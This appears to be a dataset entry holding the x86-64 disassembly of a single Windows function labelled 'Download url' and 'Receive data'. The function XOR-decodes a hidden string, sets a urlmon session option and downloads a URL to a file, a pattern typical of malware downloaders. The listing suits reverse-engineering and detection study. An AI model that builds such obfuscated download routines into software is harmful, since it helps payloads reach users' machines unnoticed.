Function at 0x1400246e0
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc0
mov rax, qword [0x1400c1080]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov r15, r8
mov rdi, rdx
mov r14, rcx
mov ecx, 1
call fcn.14009b2d4
mov ecx, Ordinal_26
call fcn.14009b2d4
mov rbx, rax
mov qword [rbp - 0x69], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
lea ecx, [rax + 1]
call fcn.14009b2d4
mov qword [rbx], rax
mov ecx, 5
call fcn.14009b2d4
mov dword [rax], 0
mov byte [rax + 4], 0
mov qword [rbx + 8], rax
xor r12d, r12d
mov qword [rbx + 0x10], r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], r12
lea r8d, [r12 + 4]
lea rdx, str.SHK_
lea rcx, [rbp - 0x21]
call fcn.140034b20
lea r8, [rbp - 0x21]
lea rdx, [rbp - 1]
call fcn.140023fe0
nop
mov rsi, 0xffffffffffffffff
mov r9, rsi
nop dword [rax + rax]
inc r9
cmp byte [rdi + r9], 0
jne 0x1400247a0
mov r8, rdi
lea rdx, [rbp - 0x61]
call fcn.140023940
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1400247c1
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x11], r12
mov qword [rbp - 9], r12
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400247d3
mov rdx, rax
lea rcx, [rbp - 0x21]
call fcn.140034b20
nop
mov rdx, qword [rbp - 0x49]
cmp rdx, 0xf
jbe 0x140024828
inc rdx
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024823
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024823
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009afc0
mov qword [rbp - 0x51], r12
mov qword [rbp - 0x49], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x61], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], r12
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x140024850
mov rdx, r14
lea rcx, [rbp - 0x41]
call fcn.140034b20
nop
mov byte [rbp - 0x69], Ordinal_41
mov al, Ordinal_26
mov cl, 0x40
mov dl, reloc.WLDAP32.dll_Ordinal_79
mov r8b, 0x4a
mov r9b, 0x43
mov r10b, reloc.WLDAP32.dll_Ordinal_27
xor r11d, r11d
xor al, 0x26
mov byte [rbp - 0x68], al
xor cl, 0x26
mov byte [rbp - 0x67], cl
xor dl, 0x26
mov byte [rbp - 0x66], dl
xor r8b, 0x26
mov byte [rbp - 0x65], r8b
xor r9b, 0x26
mov byte [rbp - 0x64], r9b
xor r10b, 0x26
mov byte [rbp - 0x63], r10b
mov byte [rbp - 0x62], r11b
lea rax, [rbp - 0x68]
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], r11b
jne 0x1400248b1
mov rcx, qword [rbp - 0x31]
mov rdx, qword [rbp - 0x29]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400248fa
lea rax, [rcx + rdi]
mov qword [rbp - 0x31], rax
lea rbx, [rbp - 0x41]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x41]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x68]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x14002490f
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x68]
mov rdx, rdi
lea rcx, [rbp - 0x41]
call fcn.140034990
lea r9, [rbp - 0x21]
mov rdi, qword [rbp - 0x21]
mov r14, qword [rbp - 9]
cmp r14, 0xf
cmova r9, rdi
inc rsi
cmp byte [r9 + rsi], 0
jne 0x140024923
mov rcx, qword [rbp - 0x31]
mov rdx, qword [rbp - 0x29]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x14002496c
lea rax, [rcx + rsi]
mov qword [rbp - 0x31], rax
lea rbx, [rbp - 0x41]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x41]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140024985
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x41]
call fcn.140034990
mov r14, qword [rbp - 9]
mov rdi, qword [rbp - 0x21]
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 0xf
cmova rdx, qword [rbp - 1]
xor r9d, r9d
mov r8d, dword [rbp + 0xf]
mov ecx, 0x10000001
call qword [sym.imp.urlmon.dll_UrlMkSetSessionOption]
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 0xf
cmova rdx, qword [rbp - 0x41]
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, r15
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
mov ebx, r12d
test eax, eax
setne bl
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x140024a0d
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024a08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024a08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009afc0
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x41], 0
cmp r14, 0xf
jbe 0x140024a58
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140024a4f
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024a4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14009afc0
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x140024a96
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024a91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140024a91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009afc0
mov eax, ebx
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.14009ab70
add rsp, 0xc0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret